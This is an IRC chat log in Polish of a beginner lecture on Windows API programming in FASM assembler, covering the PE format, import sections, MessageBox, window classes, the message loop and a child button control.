19:32 <@fr3m3n> najpierw troche slow wstepu + tzw ogolna teoria ;)
19:32 <@fr3m3n> winapi sklada sie po prostu z szeregu standardowych funkcji
19:32 <@fr3m3n> jest to windowsowy odpowiednik libc spod systemow unixowych (czyli standardowe funckje c, np printf)
19:32 <@fr3m3n> na podstawowe winapi sklada sie kilkanascie standardowych dllek (znajduje sie w windir/system32 albo windir/system dla systemow bedacych hybryda 16 bitow z 32, czyli windowsy 9x/me)
19:33 <@fr3m3n> najwazniejsze z nich dla nas to: kernel32.dll, user32.dll i gdi32.dll
19:33 <@fr3m3n> Zagwarantowane jest, ze funkcja ktora raz pojawila sie w ktorejs z tych 3 dllek (jak i w wiekszosci innych do 'publicznego' uzytku)
19:33 <@fr3m3n> nie zniknie z kolejna wersja systemu-dla zachowania backward compatibility
19:33 <@fr3m3n> Przykladem dllki nie podlegajacej temu 'prawu' jest ntdll.dll - bezposredni dostep do tzw. native api - czyli bezposredniej komunikacji z kernelem
19:34 <@fr3m3n> wykorzystuje ona int 0x2e, odpowiednik int 0x80 z nixa, to taka ciekawostka :)
19:34 <@fr3m3n> Wszystkie funkcje winapi tak naprawde korzystaja z ntdll, ci bardziej zaawansowani moga to sprawdzic za pomoca debuggera albo disassemblera
19:34 <@fr3m3n> sledzac np CreateWindowEx
19:34 <@fr3m3n> czy kazda inna funkcje
19:34 <@fr3m3n> Istnieje kilka wyjatkow, glownie w gdi32.dll
19:34 <@fr3m3n> ok, przejdzmy do konkretow
19:35 <@fr3m3n> format plikow windowsa to tzw. PE
19:35 <@fr3m3n> (jest to skrot od Portable Executable)
19:35 <@fr3m3n> Z formatu pe korzystaja w windowise praktycznie wszystkie pliki, zaczynajac od exe, konczac na .sys
19:35 <@fr3m3n> windowsie*
19:35 <@fr3m3n> Takie pliki rozpoznac mozna po literkach 'PE' gdzies na poczatku pliku
19:35 <@fr3m3n> zazwyczaj, o ile mnue pamiec nie myli, 64 bajt
19:35 <@fr3m3n> ale nie jest to na sztywno ustalone
19:36 <@fr3m3n> zalezy od naglowka dosa, ale to juz nie temat tego wykladu
19:36 <@fr3m3n> Kazdy taki plik ma swoj naglowek, sa tam przerozne informacje, adres startowy, itd - i bardzo wazna informacja o sekcjach
19:36 <@fr3m3n> Kazda 'sekcja' to wydzielony obszar pliku, moze miec rozne parametry i sluzyc roznym celom
19:36 <@fr3m3n> Glowne parametry to: czy sekcja moze byc czytana (przez program, juz po zaladowaniu) - readable
19:36 <@fr3m3n> zapisywana - writeable
19:37 <@fr3m3n> wykonywana - executable
19:37 <@fr3m3n> Istnieja jeszcze inne flagi, ale nie interesuja nas w tej chwili
19:37 <@fr3m3n> Kazda sekcja moze miec rowniez swoj 'typ'
19:37 <@fr3m3n> Typ sekcji to moze byc: dane, import, export, i kilka innych
19:37 <@fr3m3n> Dane to po prostu zwykle dane :), np. kod. Takie sekcje nie sa traktowane w zaden szczegolny sposob przez system operacyjny, po prostu laduje je do pamieci
19:37 <@fr3m3n> informujemy w niej system operacyjny, jakich funkcji potrzebujemy
19:38 <@fr3m3n> Moga to byc funkcje winapi, jak i rowniez dowolna funkcja z dowolnego pliku ktory posiada sekcje exportu (o tym za chwile)
19:38 <@fr3m3n> W takiej sekcji znajduje sie nazwa pliku + nazwa funkcji (albo jej numer)
19:38 <@fr3m3n> Nazwa pliku to np kernel32.dll, nazwa funkcji to ExitProcess - w takim wypadku system operacyjny 'znajdzie' nam ta funkcje
19:38 <@fr3m3n> Podczas ladowania system operacyjny szuka tych funkcji, i umieszcza ich adresy w tzw. iat (import address table).
19:38 <@fr3m3n> Natomiast sekcja exportu to przeciwienstwo sekcji importu - informujemy w niej system operacyjny, jakie funkcje udostepniamy
19:38 <@fr3m3n> Kazdy plik dll w folderze windows ma swoja sekcje exportu, dzieki czemu mozna uzywac funkcji w nich zawartych
19:39 <@fr3m3n> (taka ciekawostka-sekcje exportu moze miec dowolny plik pe, jesli sie chce, mozna importowac funkcje np z pliku exe)
19:39 <@fr3m3n> Dla zainteresowanych dokladna budowa pliku PE polecam strone: http://win32assembly.online.fr/tutorials.html i tam 'PE tutorials'
19:39 <@fr3m3n> (jest to rowniez swietny kurs winapi)
19:39 <@fr3m3n> Wiedza o sekcjach jest nam potrzebna piszac aplikacje windows w assemblerze-bedziemy musieli powiedziec w niej jakich funkcji chcemy uzywac
19:39 <@fr3m3n> Ok, czas na pierwszy kod:
19:39 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/hello_world.ASM
19:40 <@fr3m3n> format PE GUI 4.0
19:40 <@fr3m3n> entry start
19:40 <@fr3m3n> include '%fasminc%\win32a.inc'
19:40 <@fr3m3n> section '.idata' import data readable writeable ;<- SEKCJA IMPORTU
19:40 <@fr3m3n> library kernel32,'KERNEL32.DLL',user32,'USER32.DLL' ;<-INFORMACJA O DLLACH
19:40 <@fr3m3n> include '%fasminc%\apia\kernel32.inc' ;<-makra, 'same' znajda jakich funkcji z tych dllek uzywamy
19:40 <@fr3m3n> include '%fasminc%\apia\user32.inc' ;<-oszczedzaja recznego pisania, choc oczywiscie mozna i recznie
19:40 <@fr3m3n> section '.data' data readable writeable ;<- SEKCJA DANYCH
19:40 <@fr3m3n> hello db 'Hello World!',0
19:40 <@fr3m3n> section '.code' code readable executable ;<- SEKCJA KODU
19:40 <@fr3m3n> start:
19:40 <@fr3m3n> invoke MessageBox,HWND_DESKTOP,hello,hello,MB_OK ;WYWOLANIE FUNKCJI WINAPI
19:40 <@fr3m3n> invoke ExitProcess,0
19:40 <@fr3m3n> nalezy to zaladowac
19:40 <@fr3m3n> wkelic albo sciagnac plik i otworzyc, co kto woli
19:40 <@fr3m3n> otworzyc w fasmie
19:40 <@fr3m3n> po czym nacisnac f9 :)
19:40 <@fr3m3n> spowoduje to kompilacje+uruchomienie
19:41 <@fr3m3n> teraz omowie kazdy element bo to moze strasznei wygladac :)
19:41 <@fr3m3n> format PE GUI 4.0 <- to informuje assembler, w jakim formacie ma byc plik - czyli PE
19:41 <@fr3m3n> ah, jak d0b0cop na privie zauwazyl, fasm to assembler - link do niego jest w teamcie
19:42 <@fr3m3n> www.flatassembler.org
19:42 <@fr3m3n> nalezy go sciagnac i rozpakowac :)
19:42 <@fr3m3n> to informacja dla nowo przybylych
19:42 <@fr3m3n> ok, dalej
19:42 <@fr3m3n> w tym PE GUI 4.0
19:42 <@fr3m3n> 4.0 to wersja, nie ma wiekszego znaczenia (ale musi byc) - mozna tam rownie dobrze wpisac 3.0 czy 5.0
19:42 <@fr3m3n> i bedize tak samo dzialac
19:42 <@fr3m3n> entry start <- funkcja startowa, odpowiednik main w c
19:43 <@fr3m3n> tzw entry point
19:43 <@fr3m3n> include '%fasminc%\win32a.inc' <- plik z stalymi i podstawowymi makrami
19:43 <@fr3m3n> %fasminc% oznacza zmienna srodowiskowa - ustawiana gdzies w panelu sterowania
19:43 <@fr3m3n> Oznacza ona po prostu katalog include fasma
19:43 <@fr3m3n> Czyli jesli fasm jest na c:\fasm, to %fasminc% oznacza (u mnie) c:\fasm\include\
19:43 <@fr3m3n> Mozna albo ustawic sobie ta zmienna w panelu sterowania, albo zmienic %fasminc% na swoje sciezke do katalogu include fasma
19:43 <@fr3m3n> chodzi oto zeby assebmler umial znalezc swoje pliki :)
19:44 <@fr3m3n> section '.idata' import data readable writeable <- deklaracja sekcji
19:45 <@fr3m3n> odpowiednio mamy tu:
19:45 <@fr3m3n> section - slowo informujace assembler, ze deklarujemy sekcje ;)
19:45 <@fr3m3n> '.idata' nazwa sekcji - nie ma zadnego znaczenia. Mozna tam rownie dobrze napisac '.omg' czy '.lol'
19:45 <@fr3m3n> i tez bedzie dzialac
19:45 <@fr3m3n> Bedzie to widoczne w pliku wynikowym jako nazwa sekcji, ale nie ma zadnego wplywu na ladowanie-system operacyjny po prostu pomija nazwe
19:45 <@fr3m3n> import data - informacja dla assemblera, ze adres sekcji ma umiescic w naglowku PE w polu 'import section', zeby system operacyjny mogl ja znalezc
19:46 <@fr3m3n> readable <- flagi, odczytywalna - sekcja musi byc odczytywalna, inaczje system operacyjny nie moglby odczytac nazw funkcji :)
19:46 <@fr3m3n> Sprobujcie usunac flage readable, a przy ladowaniu wystapi wam blad 'the application failed to initialize properly, click OK to terminate the application'
19:46 <@fr3m3n> bo system nie bedize mogl jej przeczytac :>
19:46 <@fr3m3n> include '%fasminc%\apia\user32.inc' <- include z funkcjami user32.dll
19:46 <@fr3m3n> przypominam jeszcze raz, %fasminc% to zmienna srodowiskowa, ustawiana recznie
19:47 <@fr3m3n> powinna oznaczac \include\
19:47 <@fr3m3n> mozna ja albo ustawic, albo zmienic w zrodle na sciezke
19:47 <@fr3m3n> czyli np include 'c:\fasm\include\apia\user32.dll'
19:47 <@fr3m3n> ok, dalej
19:47 <@fr3m3n> section '.data' data readable writeable <- sekcja danych, odczytywalna i zapisywalna
19:48 <@fr3m3n> nic specjalnego, po prostu sekcja danych
19:48 <@fr3m3n> section '.code' code readable executable <- sekcja kodu, odczytywalna i wykonywalna
19:48 <@fr3m3n> 'code' (atrybut) jest takim samym atrybutem jak readable
19:48 <@fr3m3n> i te sekcje nie sa traktowane 'specjalnie' przez system operacyjny
19:48 <@fr3m3n> w odroznieniu od np import
19:49 <@fr3m3n> start: - po prostu etykieta
19:49 <@fr3m3n> dla nie obeznanych w asmie, oznacza ona po prostu adres
19:49 <@fr3m3n> wiec jesli etykieta start jest 230 bajtow po poczatku pliku, start bedzie sie rownal 230
19:50 <@fr3m3n> tzn nie do konca, bo prawdziwy adres wyglada troche inaczej, ale narazie nie trzeba sie tym martwic
19:50 <@fr3m3n> invoke MessageBox,HWND_DESKTOP,hello,hello,MB_OK
19:50 <@fr3m3n> invoke to makro wywolania funkcji
19:50 <@fr3m3n> powyzsza linijka tlumacyz sie po prostu na:
19:50 <@fr3m3n> push MB_OK
19:50 <@fr3m3n> push hello ;adres stringa
19:51 <@fr3m3n> hmm moze wyluzujcie z privami bo nie nadazam, zaraz beda pytania :)
19:51 <@fr3m3n> push hello ;adres stringa, ten sam
19:51 <@fr3m3n> push HWND_DESKTOP ;uchwyt, o tym pozniej
19:51 <@fr3m3n> call MessageBox
19:52 <@fr3m3n> a to z kolei tlumaczy sie takie wywolanie w c:
19:52 <@fr3m3n> (to dla slabo znajacych assembler)
19:52 <@fr3m3n> MessageBox(HWND_DESKTOP,&hello[0],&hello[0],MB_OK);
19:52 <@fr3m3n> Jak widzimy, uzywajac makra invoke mozemy uzyskac taka sama czytelnosc kodu jak w przypadku c,a w razie jesli chcielibysmy zrobic cos niemozliwego za jego pomoca, mozna po prostu napisac to recznie
19:52 <@fr3m3n> czyli push push ... call
19:52 <@fr3m3n> Funkcja MessageBox przyjmuje 4 argumenty
19:53 <@fr3m3n> pierwszy to uchwyt okna, do jakiego ma nalezec (o tym pozniej)
19:53 <@fr3m3n> drugi to adres lancucha znakow, zostanie wyswietlony jako tresc okna
19:53 <@fr3m3n> trzeci to tytul okna
19:53 <@fr3m3n> takze adres lancucha znakow
19:53 <@fr3m3n> czwarty to typ
19:53 <@fr3m3n> typow jest kilkanascie, mozna sie o nich dowiedziec z
19:53 <@fr3m3n> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/dialogboxes/dialogboxreference/dialogboxfunctions/messagebox.asp
19:53 <@R3xi0> Skrocilem tego linka: http://tinyurl.com/62ly3 (URL podany przez fr3m3n)
19:54 <@fr3m3n> Mozna sobie poeksperymentowac :)
19:54 <@fr3m3n> Ostatnie wywolanie to
19:54 <@fr3m3n> invoke ExitProcess,0
19:54 <@fr3m3n> oznacza ono po prostu zakonczenie procesu :)
19:54 <@fr3m3n> a dokladniej, wywolaniu funkcji konczacej proces
19:54 <@fr3m3n> 0 to exit code
19:54 <@fr3m3n> powyzsza linijka jest rownoznaczna linijce
19:55 <@fr3m3n> return 0;
19:55 <@fr3m3n> w c.
19:55 <@fr3m3n> ok, teraz nacisnijcie f9 w fasmie, i zobaczycie wasze okno :)
19:55 <@fr3m3n> przynajmniej ci ktorzy jescze tego nie zrobili zrobic ;p
19:55 <@fr3m3n> Zachecam do zabawy np z trescia stringa czy typem okna, mozna rowniez wyswietlic dwa po kolei :)
19:55 <@fr3m3n> Ah, dodam jeszcze dla niektorych
19:55 <@fr3m3n> takich bardziej zaawansowych
19:55 <@fr3m3n> zaawansowanych*
19:56 <@fr3m3n> Winapi podaza za konwencja stdcall (z wyjatkami), tzn argumenty sa zdejmowane ze stosu przez wywolywana funkcje
19:56 <@fr3m3n> podczas gdy cdecl, czyli wlasciwie caly *nix - argumenty zdejmowane sa przez wywolujacego
19:56 <@fr3m3n> czyli po call byloby potrzebne wyczyszczenie stosu przy pomocy add esp,rozmiar_argumentow
19:56 <@fr3m3n> trzecia konwencja jest fastacall, w tym wypadku argumenty sa podawane w rejestrach, to taka ciekawostka
19:56 <@fr3m3n> nie musi nas to interesowac, przynajmniej na poczatku :)
19:56 <@fr3m3n> (to do poczatkujacych)
19:56 <@fr3m3n> ok, pytania?
19:57 < netx0r> pobawmy sie z invoke mciSendString,_cmd_open,0,0,0
19:57 < UniqAnomaly> gdzie zadawac pytania, na ktore nie mozna znalezc odpowiedzi?
19:57 < UniqAnomaly> :D
19:57 < diabel> pobawmy sie ExitProcess, 0
19:57 < diabel> ;p
19:57 < d0b0c0p> ja bym tylko dodal, ze rodzaj okienka to po prostu zdefiniowane marko (np. MB_OK) z jakas liczba ;>
19:57 <@fr3m3n> UniqAnomaly: proponuje jakas wrozke albo sextelefon :>
19:57 <@fr3m3n> d0b0c0p: no, stala
19:57 < d0b0c0p> yep
19:57 <@fr3m3n> bo makro to taka funkcja dla assemblera
19:57 < diabel> d0b0c0p: jest mozna zrobic MB_RETRYIGNOREABORT OR ICON_WARNING
19:57 < diabel> ;p
19:57 < Robol> zobaczcie jaki bajer robi "MB_YESNO" ;]
19:57 < diabel> lol
19:58 < netx0r> Robol: 3xtra
19:58 < Robol> ten fasm to strasznie przypomina c++
19:58 < Robol> prawdziwy programista programuje w 1 i 0 ;]
19:58 <@fr3m3n> dobra
19:58 < sfistack> Tt
19:59 <@fr3m3n> nie ma specjalnych pytan widze
19:59 < netx0r> dalej
19:59 <@fr3m3n> teraz omowimy prawdziwe okno :)
19:59 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/okno.ASM <- tutaj kod
19:59 <@fr3m3n> troche za duzy zeby wklejac na raz
19:59 <@fr3m3n> ok
20:00 <@fr3m3n> najpierw troche teorii
20:00 <@fr3m3n> kazde okno ma swoja tzw. 'klase'
20:00 <@fr3m3n> sa w niej zdefiniowane podstawowe parametry tego okna
20:00 <@fr3m3n> adres funkcji obslugujacej komunikaty
20:00 <@fr3m3n> (o tym za chwile)
20:00 <@fr3m3n> kolor okna, i kilka innych rzeczy
20:01 <@fr3m3n> klasa okno to po prostu jego nazwa, w formie stringa
20:01 <@fr3m3n> czyli np 'mojaklasa'
20:01 <@fr3m3n> jest kilka standardowych klas, zdefiniowanych przez system windows
20:01 <@fr3m3n> np 'EDIT' standardowe okno z editem
20:01 <@fr3m3n> korzysta z tego notatnik
20:01 <@fr3m3n> 'BUTTON' czyli guzik
20:01 <@fr3m3n> i jeszcze kilka innych
20:02 <@fr3m3n> jednak jesli chce sie zrobic wlasne okno, musimy stworzyc wlasna klase
20:02 <@fr3m3n> invoke GetModuleHandle,0
20:02 <@fr3m3n> mov [wc.hInstance],eax ;laduje nam adres programu zaladowany do pamieci
20:02 <@fr3m3n> invoke RegisterClass,wc ;rejestruje nam klase
20:02 <@fr3m3n> wc to adres struktury WNDCLASS
20:03 <@fr3m3n> czyli struktury definiujacej wszystkie parametry okna
20:03 <@fr3m3n> jeden parametr trzeba uzupelnic w run-time
20:03 <@fr3m3n> tzw instancja - tak naprawde jest to po prostu adres pod jakim jest zaladowany program
20:03 <@fr3m3n> tzw HMODULE
20:04 <@fr3m3n> majac zarejestrowana klase, mozna utworzyc okno
20:04 <@fr3m3n> invoke CreateWindowEx,0,_class,_title,WYGLAD,0,0,100,100,0,0,[wc.hInstance],0
20:04 <@fr3m3n> ;w tym momencie powinno pojawic sie okno :)
20:04 <@fr3m3n> mov [hwnd], eax
20:04 <@fr3m3n> format tego wyglada tak:
20:05 <@fr3m3n> DWORD dwExStyle
20:05 <@fr3m3n> (ide od lewego parametru)
20:05 <@fr3m3n> rozszerzone style okna, wspieranie Drag'n'Drop, i kilka innych foobarkow
20:05 <@fr3m3n> nie potrzebujemy tego, wiec jest 0
20:05 <@fr3m3n> LPCTSTR lpClassName
20:06 <@fr3m3n> adres stringa z nazwa zarejestrowanej klast
20:06 <@fr3m3n> klasy*
20:06 <@fr3m3n> moze to byc standardowa klasa, albo tez ta stworzona przez nas
20:06 <@fr3m3n> musi istniec w kazdym razie
20:06 <@fr3m3n> LPCTSTR lpWindowName
20:06 <@fr3m3n> adres stringa z nazwa okna
20:07 <@fr3m3n> w tym przypadku jest to po prostu
20:07 <@fr3m3n> _title db 'okno ;p',0
20:07 <@fr3m3n> DWORD dwStyle
20:07 <@fr3m3n> tutaj okresla sie czy okno jest zmaksymalizowane, czy ma przycisk zamkniecia, minimalizowania
20:07 <@fr3m3n> i kilka innych rzeczy
20:08 <@fr3m3n> WYGLAD EQU WS_MAXIMIZE+WS_OVERLAPPEDWINDOW+WS_VISIBLE+WS_CAPTION
20:08 <@fr3m3n> oznacza to ze:
20:08 <@fr3m3n> okno bedzie mialo przycisk maksymalizacji,bedzie widoczne,bedzie mialo tytul,i boczny pasek
20:09 <@fr3m3n> tzn obramowanie
20:09 <@fr3m3n> mov [hwnd],eax
20:09 <@fr3m3n> hwnd to uchwyt okna
20:09 <@fr3m3n> liczba, identyfikujaca okno w systemie
20:09 <@fr3m3n> kazde okno ma inny 'uchwyt'
20:10 <@fr3m3n> w przypadku MessageBox, podawalismy jako uchwyt uchwyt pulpitu
20:10 <@fr3m3n> dokladniej, okna pulpitu
20:10 <@fr3m3n> bo nie stworzylismy swojego okna
20:10 <@fr3m3n> w tym przypadku, mozna by dac messagebox uchwyt tego okna, wtedy stalo by sie ono jego dzieckiem
20:10 <@fr3m3n> ok, dalej
20:11 <@fr3m3n> kazde okno otrzymuje informacje o wszystkim
20:11 <@fr3m3n> czy jest przesuwane
20:11 <@fr3m3n> czy ktos rusza na nim myszka
20:11 <@fr3m3n> czy jest minimalizowane
20:11 <@fr3m3n> itd
20:11 <@fr3m3n> jest to obslugiwane przez tzw. kolejke komunikatow
20:12 <@fr3m3n> adres funkcji kolejki komunikatow - tzw WindowProc - podalismy w strukturze WNDCLASS
20:12 <@fr3m3n> wc WNDCLASS 0,WindowProc,0,0,NULL,NULL,NULL,COLOR_WINDOW,NULL,_class
20:12 <@fr3m3n> invoke GetMessage,msg,NULL,0,0
20:12 <@fr3m3n> or eax,eax
20:12 <@fr3m3n> jz koniec
20:13 <@fr3m3n> ta funkcja pobiera takie zdarzenie od systemu
20:13 <@fr3m3n> i umieszcza je w specjalenj strukturze
20:13 <@fr3m3n> ta struktura nazywa sie MSG, mozna ja zobaczyc zadeklarowana wyzej
20:13 <@fr3m3n> msg MSG <>
20:13 <@fr3m3n> jesli wiadomosc to WM_QUIT
20:14 <@fr3m3n> informuje ona okno o tym, ze zostalo juz zamkniete
20:14 <@fr3m3n> i nie widac go na ekranie juz nawet
20:14 <@fr3m3n> to GetMessage zwraca zero
20:14 <@fr3m3n> wtedy kod skacze do etykiety 'koniec'
20:14 <@fr3m3n> czyli program po prostu sie konczy :>
20:15 <@fr3m3n> jesli to jednak nie jest WM_QUIT, program idzie dalej
20:15 <@fr3m3n> invoke TranslateMessage,msg
20:15 <@fr3m3n> ta funkcja tlumaczy takie rzeczy jak nacisniecie klawisza 'A' na litere 'A'
20:16 @fr3m3n nacisniecie klawisza 'A' powoduje wyslanie wiadomosci: klawisz A nacisniety, nacisniety,... puszczony
20:16 @fr3m3n dokladniej, to nie 'klawisz A' tylko wirtualny kod klawisza 'A'
20:16 @fr3m3n VK_A
20:16 @fr3m3n i ta funkcja tlumaczy te niskopoziomowe komunikaty na jeden - WM_CHAR
20:17 <@fr3m3n> dzieki temu jest trochue latwiej bo nie musimy sie martwic ile sekund a zostalo przytrzymane, piszac edytor tekstu :>
20:17 <@fr3m3n> invoke DispatchMessage,msg
20:17 <@fr3m3n> ta funkcja po prostu uruchamia nasz WndProc (kolejke komunikatow)
20:17 <@fr3m3n> wraz z zdarzeniem
20:18 <@fr3m3n> tzn informacja o nim w strukturze MSD
20:18 <@fr3m3n> proc WindowProc _hwnd,wmsg,wparam,lparam
20:18 <@fr3m3n> push ebx esi edi ;zachowaj rejestry
20:18 <@fr3m3n> cmp dword[wmsg],WM_DESTROY
20:18 <@fr3m3n> je .destroy
20:18 <@fr3m3n> invoke DefWindowProc,dword[_hwnd],[wmsg],[wparam],[lparam]
20:18 <@fr3m3n> jmp .koniec
20:18 <@fr3m3n> .destroy:
20:18 <@fr3m3n> invoke PostQuitMessage,0
20:18 <@fr3m3n> xor eax,eax ;kod wyjscia=0
20:18 <@fr3m3n> .koniec:
20:18 <@fr3m3n> pop edi esi ebx
20:18 <@fr3m3n> ret
20:18 <@fr3m3n> endp
20:18 <@fr3m3n> proc to makro
20:18 <@fr3m3n> buduje ona funckje z tzw ramka stosu
20:19 <@fr3m3n> zazwyczaj jej nie stosuje, ale tym razem zastosowalem dla bardziej czytelnego kodu
20:19 <@fr3m3n> _hwnd, wmsg, wparam, lparam - to argumenty
20:19 <@fr3m3n> po prostu po kolei na stosie
20:19 <@fr3m3n> i tak w wmsg dostajemy kod glownego zdarzenia
20:19 <@fr3m3n> np WM_CREATE - okno sie tworzy
20:20 <@fr3m3n> czy tez WM_DESTROY - okno dostalo komunikat 'proszacy' je o zamkniecie sie
20:20 <@fr3m3n> moze to byc np uzytkownik ktory kliknal na 'x'
20:20 <@fr3m3n> albo nacisniete alt-f4
20:20 <@fr3m3n> dlatego czasami, jak probujemy zamknac okno ktore sie zawiesilo albo zrobilo cos zlego
20:21 <@fr3m3n> po jakims czasie dostajemy komunikat 'okno nie odpowiada'
20:21 <@fr3m3n> z jakimis opcjami np zamknij proces
20:21 <@fr3m3n> oznacza to, ze okno ma zarejestrowana procedure obslugi komunikatow
20:21 <@fr3m3n> ale nie reaguje na WM_DESTROY
20:21 <@fr3m3n> najczesciej z powodu zwisniecia, np nieskonczonej petli w jakims miejscu
20:22 <@fr3m3n> w przypadku tego okna, procedura sprawdza czy zdarzenie to WM_DESTROY
20:22 <@fr3m3n> jesli tak, skacze do kodu wysylajacego wiadomosc WM_QUIT
20:22 <@fr3m3n> ktora powoduje zakonczenie calego procesu
20:22 <@fr3m3n> jesli nie, oddaje kontrole funkcji DefWindowProc
20:22 <@fr3m3n> ta funkcja odpowiada za domyslne zachowanie okna - np przesuwanie
20:23 <@fr3m3n> minimalizowanie, maksymalizacja, itd
20:23 <@fr3m3n> gdyby jej nie bylo, nie mozna by praktycznie niz z oknem zrobic :>
20:23 <@fr3m3n> kod wyjscia jest nie potrzebny, ale dalem go zeby kod byl 'ładny' ;pp
20:23 <@fr3m3n> coz
20:23 <@fr3m3n> sa pytania?
20:24 < d0b0c0p> sa pytana
20:24 < d0b0c0p> po co jest or eax, eax?
20:24 < Robol> czemu napisales: jmp .koniec a nie jmp koniec ?
20:25 <@fr3m3n> d0b0c0p to oznacza sprawdzenie czy eax jest zerem
20:25 <@fr3m3n> jesli jest, ustawi sie flaga 'ZF'
20:25 <@fr3m3n> Robol: zeby ladnie zakonczyc obsluge wiadomosci
20:25 <@fr3m3n> mozna odrazu skoczyc do konca
20:25 <@fr3m3n> ale czasami chcemy cos zrobic jeszcze lokalnie
20:25 <@fr3m3n> np zamknac pliki czy cos
20:25 < Robol> ok
20:25 < d0b0c0p> fr3m3n: czyli funkcja GetMessage zwraca wartosc do rejestru eax?
20:25 <@fr3m3n> wtedy sie przydaje obsluga WM_DESTROY
20:25 <@fr3m3n> a .koniec to po prostu etykieta lokalna
20:26 <@fr3m3n> d0b0c0p: kazda funkcja tak robi
20:26 <@fr3m3n> wartosci int sa zwracane w rejestrze eax
20:26 < d0b0c0p> o widzisz thx ;>
20:26 <@fr3m3n> wartosc long long int sa zwracane w edx:eax
20:26 <@fr3m3n> float/double/long double w st0
20:26 < Pabox> chyba juz nie ma pytan
20:26 <@fr3m3n> (rejestr fpu)
20:26 <@fr3m3n> ok
20:26 < panie_generale> mhmm :)
20:26 < Robol> co robi funkcja invoke?
20:26 < mikel> to jest makro
20:26 < Robol> aha
20:26 < d0b0c0p> Robol: bylo juz ;p
20:26 < Robol> a gdzie mozna znalezc
20:27 < twoJ> robol tak ma :p
20:27 <@fr3m3n> Robol: wyzej :)
20:27 < twoJ> lac na niego i jedziemy dalej ;>
20:27 <@fr3m3n> pisalem o tym
20:27 <@fr3m3n> nacisnij page up pare razy ;p
20:27 <@fr3m3n> ok
20:27 < panie_generale> jesli program sie zawieci to moge podejrzewac ze jest blad typu DoS, BO itp :>?
20:27 <@fr3m3n> panie_generale: eheheh no podejrzewac mozna wszystko
20:27 <@fr3m3n> ale trzeba uzyc debuggera
20:27 < panie_generale> no wiem
20:27 <@fr3m3n> bo czasami to moze byc po prostu blad logiczny
20:28 <@fr3m3n> czyli np nigdy nie konczaca sie funkcja
20:28 <@fr3m3n> niekonczaca*
20:28 <@fr3m3n> jeszcze jakies pytania?
20:28 <@fr3m3n> ne.
20:28 <@fr3m3n> ok
20:28 < gu35t> no
20:28 < gu35t> pochwala
20:28 < Robol> w jakim pliku jest dokladna deklaracja invoke?
20:28 <@fr3m3n> meh
20:28 <@fr3m3n> Robol: glownym
20:28 <@fr3m3n> zobacz sobie win32a
20:28 <@fr3m3n> w ktoryms z tych ktore includuje
20:29 <@fr3m3n> a teraz stworzymy sobie okno z guzikiem :)
20:29 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/okno_z_guzikiem.ASM <- kod (znow za duzy zeby wklejac calosc)
20:29 <@fr3m3n> stworzymy tutaj okno-dziecko
20:29 <@fr3m3n> Child Window
20:30 <@fr3m3n> dzieci okna gina wraz z nim
20:30 <@fr3m3n> tzn - obsluga 'duzego' okna nie musi sie martwic wylaczaniem dzieci
20:30 <@fr3m3n> bo one zgina niejako 'same z siebie'
20:30 <@fr3m3n> mozna je oczywiscie niszczyc niezaleznie od glownego
20:31 <@fr3m3n> maja duzo mozliwosci, szeregowanie, itd
20:31 <@fr3m3n> ok
20:31 <@fr3m3n> okna-dzieci informuja 'rodzicow' o swoich poczynianiach ;p przy pomocy zdarzenia WM_COMMAND
20:31 <@fr3m3n> a, to w drugim kodzie
20:32 <@fr3m3n> bo ten tylko tworzy guzik :)
20:32 <@fr3m3n> wiec mozecie sobie skompilowac i po naciskac ;p
20:32 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/okno_z_guzikiem1.ASM <- drugi kod
20:32 <@fr3m3n> teraz, po nacisnieciu guzika pojawi nam sie okienko :)
20:32 <@fr3m3n> bclicked db 'Nacisn13eo guzik!',0
20:33 <@fr3m3n> informujace nas ze guzik zostal nacisniety
20:33 <@fr3m3n> jak mowilem, okna-dzieci przekazuja do nas wiadomosci za pomoca zdarzenia WM_COMMAND
20:33 <@fr3m3n> jesli [wmsg] = WM_COMMAND, wiemy ze dzieci czego od nas chca ;pp
20:33 <@fr3m3n> przekazuja swoje 'zadania' w params
20:34 <@fr3m3n> wparam i lparam
20:34 <@fr3m3n> lparam jest rzadko uzywany
20:34 <@fr3m3n> taki guzik uzywa tylko wparam
20:34 <@fr3m3n> w wyzszym slowie
20:34 <@fr3m3n> (Word - 2 bajty)
20:34 <@fr3m3n> znajduje sie informacja 'co zrobil'
20:35 <@fr3m3n> czyli np BN_CLICKED
20:35 <@fr3m3n> guzik nacisniety
20:35 <@fr3m3n> w 'nizszym' slowie
20:35 <@fr3m3n> znajduje sie informacja o tym, ktore dziecko co zrobilo
20:35 <@fr3m3n> jak widac z tworzenia guzika
20:35 <@fr3m3n> invoke CreateWindowEx,\
20:35 <@fr3m3n> 0,BUTTONCLASS,guzik_tekst,WS_CHILD+WS_VISIBLE,0,0,SZER_GUZIKA,WYS_GUZIKA,[hwnd],IDGuzik,[wc.hInstance],0
20:35 <@fr3m3n> przyporzadkowalismy mu ID - stala, IDGuzik
20:36 <@fr3m3n> dzieki temu mozemy pozniej zidentyfikowac ktore dziecko co zrobilo
20:36 <@fr3m3n> taki odpowiednik imion :>
20:36 <@fr3m3n> --code---
20:36 <@fr3m3n> cmp dword[wparam],BN_CLICKED shl 16 + IDGuzik
20:36 <@fr3m3n> jne .koniec
20:37 <@fr3m3n> to sprawdza, czy dostalismy informacje o tym, ze dziecko 1 (IDGuzik) zostalo nacisniete (BN_CLICKED)
20:37 <@fr3m3n> shl 16 oznacza przesuniecie w lewo 0 16
20:37 <@fr3m3n> dzieki temu mozemy to latwo zrobic w jednym porownaniu, inaczje trzeba by w dwoch, po wordzie
20:37 <@fr3m3n> a to by bylo wolniejsze i glupie :>
20:38 <@fr3m3n> jesli to guzik zostal klikniety, kod nigdzie nie skoczy, i wyswietli nam sie okienko
20:38 <@fr3m3n> dobra
20:38 <@fr3m3n> pytania?
20:38 <@fr3m3n> hm
20:38 <@fr3m3n> nie :
20:38 <@fr3m3n> :> *
20:39 <@fr3m3n> teraz zajmiemy sie plikami
20:39 <@fr3m3n> niestety troche po lebkach, jako ze kod do tego przykladu zaczalem pisac o 19:16 i za duzo nie zdazylem zrobic ;pp
20:39 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/pliki.ASM
20:40 <@fr3m3n> netx0r ma podobno jakeis pytanie :>
20:40 < d0b0c0p> fr3m3n: btw tempo olimpijskie ;>
